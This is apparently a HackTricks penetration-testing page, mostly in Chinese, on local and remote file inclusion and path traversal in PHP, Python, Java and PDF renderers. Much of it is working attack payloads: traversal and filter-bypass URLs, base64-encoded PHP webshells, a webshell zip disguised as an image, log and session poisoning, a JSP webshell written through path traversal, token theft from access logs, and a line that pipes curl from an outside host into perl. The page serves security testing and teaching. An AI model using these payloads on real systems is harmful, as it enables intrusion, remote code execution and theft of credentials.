File Inclusion/Path traversal

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

File Inclusion

Remote File Inclusion (RFI): 该文件从远程服务器加载(最好情况:你可以写入代码并由服务器执行)。在 php 中默认情况下这是 禁用 的(allow_url_include)。
Local File Inclusion (LFI): 服务器加载本地文件。

当用户以某种方式能够控制将被服务器加载的文件时,就会出现该漏洞。

易受攻击的 PHP functions: require, require_once, include, include_once

一个有趣的工具用于利用该漏洞:https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

我混合了多个 *nix LFI 列表并添加了更多路径,创建了这个:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

也可以尝试将 / 改为 \
也可以尝试添加 ../../../../../

一个使用多种技术来查找文件 /etc/password(用于检查是否存在该漏洞)的列表可以在 here 找到

Windows

不同 wordlists 的合并:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

也可以尝试将 / 改为 \
也可以尝试移除 C:/ 并添加 ../../../../../

一个使用多种技术来查找文件 /boot.ini(用于检查是否存在该漏洞)的列表可以在 here 找到

OS X

查看 Linux 的 LFI 列表。

Basic LFI and bypasses

下面的所有示例都是针对 Local File Inclusion,但也可应用于 Remote File Inclusion(page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences 非递归地被移除

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

绕过在所提供字符串末尾追加额外字符的限制(绕过: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

PHP 5.4 起已修复

编码

你可以使用非标准编码,比如 double URL encode(以及其他方法):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

现代 HTML-to-PDF 引擎(例如 TCPDF 或类似 html2pdf 的包装器)会解析攻击者提供的 HTML、SVG、CSS 和字体 URL,但它们运行在具有文件系统访问权限的受信任后端网络中。一旦你能够将 HTML 注入到 $pdf->writeHTML()/Html2Pdf::writeHTML(),通常就能 exfiltrate web 服务器账号可读取的本地文件。

  • Fingerprint the renderer: 每个生成的 PDF 都包含一个 Producer 字段(例如 TCPDF 6.8.2)。知道确切的构建版本可以告诉你存在哪些路径过滤器,以及是否在验证前对 URL 进行了解码。
  • Inline SVG payloads: TCPDF::startSVGElementHandler() 会在执行 urldecode() 之前读取 <image> 元素的 xlink:href 属性。将恶意 SVG 嵌入到 data URI 中会使许多 HTML sanitizers 忽略该 payload,而 TCPDF 仍然解析它:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF 会在以 / 开头的路径前添加 $_SERVER['DOCUMENT_ROOT'],并且只有在之后才解析 ..,因此使用前导的 ../../.. 段或 /../../.. 来在 prepend 之后逃离根目录。

  • Encoding to bypass naive filters: 版本 ≤6.8.2 只在对 URL 解码 之前 检查字面子串 ../。在 SVG 或原始 <img src> 属性中发送 ..%2f(或 ..%2F)可以绕过检查,因为遍历的点点斜杠序列只有在 TCPDF 调用 urldecode() 后才会被重新构造。
  • Double-encoding for multi-stage decoding: 如果用户输入先被 web 框架 TCPDF 解码,则对斜杠进行双重编码(%252f)。一次解码会变成 %2f,TCPDF 的第二次解码会变成 /,从而将 /..%252f.. 变为 /../../../…,在早期过滤器面前从未显现 ../
  • HTML <img> handler: TCPDF::openHTMLTagHandler() 包含相同的顺序操作漏洞,允许直接 HTML 有效载荷,例如 src="%2f..%252f..%252ftmp%252fsecret.png",读取任何本地可达的位图。

This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (isRelativePath()), so during tests prioritise older Producer versions.

从已存在的文件夹

可能后端正在检查文件夹路径:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

在服务器上探索文件系统目录

服务器的文件系统可以通过递归方式进行探索以识别目录,而不仅仅是文件,方法包括确定目录深度并探测特定文件夹的存在。下面是实现此目的的详细方法:

  1. 确定目录深度: 通过成功获取 /etc/passwd 文件来确定当前目录的深度(适用于服务器为基于 Linux 的情况)。例如,URL 可能如下所示,表示深度为三:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. 探测文件夹: 将可疑文件夹的名称(例如 private)附加到 URL,然后返回到 /etc/passwd。额外的目录级别需要将深度增加一层:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. 解释结果: 服务器的响应表明该文件夹是否存在:
  • Error / No Output: 该位置很可能不存在 private 文件夹。
  • Contents of /etc/passwd: 确认存在 private 文件夹。
  1. 递归探索: 发现的文件夹可以使用相同的技术或传统的 Local File Inclusion (LFI) 方法进一步探查子目录或文件。

要在文件系统不同位置探索目录,请相应调整 payload。 例如,要检查 /var/www/ 是否包含 private 目录(假设当前目录深度为 3),使用:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation 是一种用来操纵 web 应用中文件路径的方法。它通常用于通过绕过在文件路径末尾追加额外字符的安全措施来访问受限文件。目标是构造一个文件路径,使其在被安全措施修改后仍然指向所需文件。

在 PHP 中,由于文件系统的特性,文件路径的多种表示可以被视为等价。例如:

  • /etc/passwd, /etc//passwd, /etc/./passwd, 和 /etc/passwd/ 都被视为相同的路径。
  • 当最后 6 个字符是 passwd 时,追加一个 /(变成 passwd/)不会改变所指向的文件。
  • 类似地,如果 .php 被追加到文件路径(例如 shellcode.php),在末尾添加 /. 不会改变被访问的文件。

下面的示例演示如何利用 path truncation 访问 /etc/passwd,这是一个常见目标,因为它包含敏感内容(用户账户信息):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

在这些场景中,所需的 traversals 数量可能约为 2027,但该数字会根据服务器的配置而变化。

  • 使用点段和额外字符: Traversal sequences (../) 与额外的点段和字符结合可用于在文件系统中导航,从而有效地忽略服务器附加的字符串。
  • 确定所需的 Traversals 数量: 通过反复试验,可以找到到达根目录再到 /etc/passwd 所需的精确 ../ 序列数量,确保任何附加字符串(例如 .php)被中和,但目标路径 (/etc/passwd) 保持完整。
  • 以假目录开始: 通常会以一个不存在的目录(例如 a/)开始路径。这种技术用作预防措施或满足服务器路径解析逻辑的要求。

在使用 path truncation techniques 时,了解服务器的路径解析行为和文件系统结构至关重要。每种场景可能需要不同的方法,通常需要通过测试来找到最有效的方式。

此漏洞在 PHP 5.3 中已修复。

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

在 php 中这默认被禁用,因为 allow_url_includeOff. 必须将其设为 On 才能生效,在这种情况下你可以从你的服务器包含一个 PHP 文件并获得 RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

如果出于某种原因 allow_url_includeOn,但 PHP 正在过滤对外部网页的访问,according to this post,你可以例如使用 data 协议配合 base64 来解码 b64 PHP 代码并获取 RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

在前面的代码中,最后的 +.txt 是被添加上的,因为攻击者需要一个以 .txt 结尾的字符串,所以字符串以它结束,并且在 b64 decode 之后那部分将只返回一些 junk,真正的 PHP 代码会被包含(并因此被执行)。

另一个不使用 php:// 协议的例子如下:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python 根元素

在 Python 中,对于像下面这样的代码:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

如果用户将一个 absolute path 传递给 file_name,则 之前的路径会被移除

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

It is the intended behaviour according to the docs:

如果某个组件是绝对路径,则所有之前的组件都会被丢弃,并且连接会从该绝对路径组件继续。

Java 列出目录

看起来如果在 Java 中存在 Path Traversal,并且你 请求一个目录 而不是文件,会返回该目录的列表。据我所知,这在其他语言中不会发生。

前25个参数

下面是可能容易受到 local file inclusion (LFI) 漏洞影响的前25个参数列表(来自 link:

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI 使用 PHP wrappers & protocols

php://filter

PHP filters 允许在读取或写入数据之前执行一些基本的 修改操作。共有 5 类过滤器:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: 从数据中移除标签(位于 “<” 和 “>” 字符之间的所有内容)
  • 注意该过滤器在现代版本的 PHP 中已不存在
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : 转换到不同的编码(convert.iconv.<input_enc>.<output_enc>)。要获取受支持的所有编码的列表,在控制台运行:iconv -l

Warning

滥用 convert.iconv.* 转换过滤器可以生成任意文本,这可能有助于写入任意文本或使像 include 这样的函数处理任意文本。更多信息请查看 LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: 压缩内容(在大量外泄信息时很有用)
  • zlib.inflate: 解压数据
  • Encryption Filters
  • mcrypt.* : 已弃用
  • mdecrypt.* : 已弃用
  • 其他过滤器
  • 在 php 中运行 var_dump(stream_get_filters()); 可以找到一些意想不到的过滤器
  • consumed
  • dechunk: 反转 HTTP chunked 编码
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

部分 “php://filter” 不区分大小写

Using php filters as oracle to read arbitrary files

In this post is proposed a technique to read a local file without having the output given back from the server. This technique is based on a boolean exfiltration of the file (char by char) using php filters as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.

在原文中你可以找到该技术的详细解释,但这里是快速概要:

  • Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
  • This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an error
  • The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
  • This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won’t delete it and the initial bomb will make php error.
  • The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn’t anymore a hexadecimal character, therefore dechunk doesn’t deleted it and the php error is triggered because it multiplies with the initial bomb.
  • Using other transformations like rot13 at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
  • When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
  • The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
  • 并且为了能够获得 further data,思路是使用 convert.iconv.UTF16.UTF16 在开头 generate 2 bytes of junk data at the beginning,应用 UCS-4LE 使其 pivot with the next 2 bytes,并 delete the data until the junk data(这将移除初始文本的前 2 个字节)。继续这样做直到你到达要 leak 的位。

In the post a tool to perform this automatically was also leaked: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

你也可以使用 php://stdin, php://stdout and php://stderr 来分别访问 file descriptors 0, 1 and 2(不确定这在攻击中如何有用)

zip:// and rar://

上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它.
为了能够滥用 rar protocol,需要被专门启用

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

注意该协议受 php 配置 allow_url_openallow_url_include 的限制

expect://

Expect 必须被激活。你可以使用这个来执行代码:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

在 POST 参数中指定你的 payload:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

当 web 应用在使用诸如 include 之类的函数加载文件时,.phar 文件可被用来执行 PHP 代码。下面的 PHP 代码片段演示了如何创建 .phar 文件:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

要编译 .phar 文件,请执行以下命令:

php --define phar.readonly=0 create_path.php

Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize(), exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar protocol.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

可以滥用 any arbitrary file read from PHP that supports php filters 来获得 RCE。详细描述可以在 found in this post.
非常简短的总结:在 PHP heap 中利用了 3 byte overflow,用于 alter the chain of free chunks of anspecific size,以便能够 write anything in any address,因此添加了一个钩子来调用 system
可以通过滥用更多 php filters 来 alloc 特定大小的 chunks。

More protocols

查看更多可能的 protocols to include here

  • php://memory and php://temp — 写入内存或临时文件(不确定这在 file inclusion attack 中如何有用)
  • file:// — 访问本地文件系统
  • http:// — 访问 HTTP(s) URLs
  • ftp:// — 访问 FTP(s) URLs
  • zlib:// — 压缩流
  • glob:// — 查找匹配模式的路径名(不返回任何可打印内容,所以在这里不太有用)
  • ssh2:// — Secure Shell 2
  • ogg:// — 音频流(不适合读取任意文件)

LFI via PHP’s ‘assert’

在 PHP 中,使用 ‘assert’ 函数时 Local File Inclusion (LFI) 风险特别高,因为它可以执行字符串内的代码。如果对包含像 “..” 这样的目录遍历字符的输入进行了检查但未正确清理,这尤其成问题。

例如,PHP 代码可能会被设计为以如下方式防止目录遍历:

assert("strpos('$file', '..') === false") or die("");

尽管这旨在阻止 traversal,但它无意中为 code injection 创造了一个向量。为了利用这一点读取文件内容,攻击者可以使用:

' and die(highlight_file('/etc/passwd')) or '

类似地,要执行任意系统命令,可以使用:

' and die(system("id")) or '

It’s important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

该技术适用于你控制传入某个PHP 函数文件路径,该函数会访问文件但你无法看到文件内容(例如简单调用 file() 时内容不会被显示)的场景。

this incredible post 中解释了如何通过 PHP filter 利用 blind path traversal 来通过 error oracle 外泄文件内容

总结:该技术利用 “UCS-4LE” encoding 将文件内容变得非常,以至于打开该文件的 PHP function 会触发一个error

然后,为了 leak 第一个字符,会使用 filter dechunk,并配合其他 filter(如 base64rot13),最后使用 filters convert.iconv.UCS-4.UCS-4LEconvert.iconv.UTF16.UTF-16BE 在开头放置其他字符并 leak 它们。

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

当服务器端处理文件上传/摄取的代码使用用户控制的数据(例如 filename 或 URL)直接构建目标路径而未做 canonicalise 和校验时,.. 段和绝对路径可以逃离预期目录并导致任意文件写入。如果你能把 payload 放到对 web 可见的目录,通常可以通过放置 webshell 获得未认证的 RCE。

Typical exploitation workflow:

  • 识别接受 path/filename 并将内容写入磁盘的写入原语(例如消息驱动的摄取、XML/JSON 命令处理器、ZIP 解压器等)。
  • 确定对 web 暴露的目录。常见示例:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • 构造 traversal 路径以从预期的存储目录跳出到 webroot,并包含你的 webshell 内容。
  • 访问被写入的 payload 并执行命令。

Notes:

  • 执行写入的易受攻击服务可能监听非 HTTP 端口(例如在 TCP 4004 上的 JMF XML listener)。主 web 门户(不同端口)随后会对外提供你的 payload。
  • 在 Java 堆栈上,这些文件写入通常通过简单的 File/Paths 拼接实现。缺乏 canonicalisation/allow-listing 是核心缺陷。

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

可以防止这类漏洞的加固措施:

  • 解析为规范路径并强制其为 allow-listed base directory 的子路径。
  • 拒绝包含 ..、绝对根路径或驱动器字母的任何路径;优先使用生成的文件名。
  • 以低权限账户运行写入进程,并将写入目录与对外服务的根目录隔离。

Remote File Inclusion

Explained previously, follow this link.

通过 Apache/Nginx 日志文件

如果 Apache 或 Nginx 服务器在 include 函数中 vulnerable to LFI,你可以尝试访问 /var/log/apache2/access.log or /var/log/nginx/access.log,在 user agentGET parameter 中设置一个 php shell,比如 <?php system($_GET['c']); ?>,然后包含该文件

Warning

注意 如果你为 shell 使用双引号(double quotes) 而不是 单引号(simple quotes),双引号会被替换为字符串 “quote;”,PHP 会抛出错误,并且 不会执行其他任何东西

另外,确保你 正确编写 payload,否则每次尝试加载日志文件时 PHP 都会报错,而且你将没有第二次机会。

这也可以在其他日志中完成,但 要小心, 日志中的代码可能是 URL encoded,这可能会破坏 Shell。header authorisation “basic” 包含以 Base64 编码的 “user:password”,并且在日志中会被解码。PHPShell 可以插入到该 header 中。
其他可能的日志路径:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

读取访问日志以窃取基于 GET 的 auth tokens (token replay)

许多应用错误地通过 GET 接受 session/auth tokens(例如 AuthenticationToken、token、sid)。如果你有一个 path traversal/LFI 原语可以读取 web server access logs,就可以从访问日志中窃取这些 token 并 replay,从而完全绕过 authentication。

How-to:

  • 使用 traversal/LFI 读取 web server access log。常见位置:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • 有些 endpoints 返回的文件读取内容为 Base64 编码。若是如此,请在本地解码并检查日志行。
  • 用 Grep 搜索包含 token 参数的 GET 请求并捕获其值,然后将其 replay 到应用的入口点。

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

如果请求体是 Base64,就对其解码,然后重放捕获的 token:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Notes:

  • URLs 中的 tokens 默认会被记录;在生产系统中切勿通过 GET 接受 bearer tokens。
  • 如果应用支持多种 token 名称,搜索常见的键 like AuthenticationToken, token, sid, access_token。
  • 对可能已 leaked 到日志的 tokens 进行轮换。

Via Email

Send a mail 到内部账户 (user@localhost),邮件内容包含你的 PHP payload,比如 <?php echo system($_REQUEST["cmd"]); ?>,并尝试包含到该用户的 mail 文件,路径类似 /var/mail/<USERNAME>/var/spool/mail/<USERNAME>

Via /proc//fd/

  1. 上传大量 shells(例如:100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD,其中 $PID = 进程的 PID(可被暴力猜测),$FD 为文件描述符(同样可被暴力猜测)

Via /proc/self/environ

像日志文件一样,将 payload 放在 User-Agent 中,它会反映在 /proc/self/environ 文件中

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

通过上传

如果你可以上传文件,只需在其中注入 shell payload(例如:<?php system($_GET['c']); ?>)。

http://example.com/index.php?page=path/to/uploaded/file.png

为了保持文件可读,最好将其注入到 pictures/doc/pdf 的元数据中

通过 Zip 文件上传

上传包含 PHP shell 的 ZIP 压缩文件并访问:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

通过 PHP sessions

检查网站是否使用 PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

在 PHP 中,这些会话被存储在 /var/lib/php5/sess\[PHPSESSID]_ 文件中

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

将 cookie 设置为 <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

使用 LFI 包含 PHP session 文件

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

通过 ssh

如果 ssh 处于活动状态,检查正在使用哪个用户 (/proc/self/status & /etc/passwd),并尝试访问 <HOME>/.ssh/id_rsa

通过 vsftpd 日志

FTP 服务器 vsftpd 的日志位于 /var/log/vsftpd.log。在存在 Local File Inclusion (LFI) 漏洞且可以访问暴露的 vsftpd 服务器的情况下,可以考虑以下步骤:

  1. 在登录过程中,将 PHP payload 注入 username 字段。
  2. 注入之后,利用 LFI 从 /var/log/vsftpd.log 检索服务器日志。

通过 php base64 filter (使用 base64)

this 文章所示,PHP base64 filter 会忽略 Non-base64。你可以利用这一点来 bypass 文件扩展名检查:如果你提供以 “.php” 结尾的 base64,它会忽略 “.” 并将 “php” 附加到 base64。下面是一个示例 payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

通过 php filters(无需文件)

This writeup 解释你可以使用 php filters to generate arbitrary content 作为输出。这基本上意味着你可以为 include generate arbitrary php code,而 无需将其写入 文件中。

LFI2RCE via PHP Filters

通过 segmentation fault

上传 一个文件,该文件会被存储为 临时/tmp,然后在 同一请求 中触发一个 segmentation fault,这样 临时文件不会被删除,你就可以搜索到它。

LFI2RCE via Segmentation Fault

通过 Nginx 临时文件存储

如果你发现了 Local File Inclusion 并且 Nginx 在 PHP 前面运行,你可能能够使用下面的技术获得 RCE:

LFI2RCE via Nginx temp files

通过 PHP_SESSION_UPLOAD_PROGRESS

即使你发现了 Local File Inclusion,即使你 没有 session 并且 session.auto_startOff,如果你在 multipart POST 数据中提供 PHP_SESSION_UPLOAD_PROGRESS,PHP 会为你 启用 session。你可以滥用这一点来获得 RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

通过 Windows 临时文件上传

如果你发现了 Local File Inclusion 并且服务器运行在 Windows,你可能可以得到 RCE:

LFI2RCE Via temp file uploads

通过 pearcmd.php + URL args

As explained in this post, 脚本 /usr/local/lib/phppearcmd.php 在 php docker 镜像中默认存在。此外,可以通过 URL 向脚本传递参数,因为指出如果 URL 参数没有 =,它应被用作参数。另见 watchTowr’s write-upOrange Tsai’s “Confusion Attacks”

下面的请求会在 /tmp/hello.php 创建一个文件,内容为 <?=phpinfo()?>

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

下面利用 CRLF vuln 获取 RCE(来自 here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

通过 phpinfo() (file_uploads = on)

如果你发现了一个 Local File Inclusion 并且有一个暴露 phpinfo() 且 file_uploads = on 的文件,你可以获得 RCE:

LFI2RCE via phpinfo()

通过 compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

如果你发现了一个 Local File Inclusion 并且你 can exfiltrate the path of the temp file BUT the server is checking if the file to be included has PHP marks,你可以尝试用这个 Race Condition 来绕过该检查:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

通过 eternal waiting + bruteforce

如果你可以滥用 LFI 来 upload temporary files 并使服务器 hang PHP 执行,你就可以 brute force filenames during hours 来找到临时文件:

LFI2RCE via Eternal waiting

导致 Fatal Error

如果你包含以下任何一个文件 /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar。(你需要包含同一个文件 2 次以触发该错误)。

我不知道这有多大用处,但可能有用。
Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted.

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks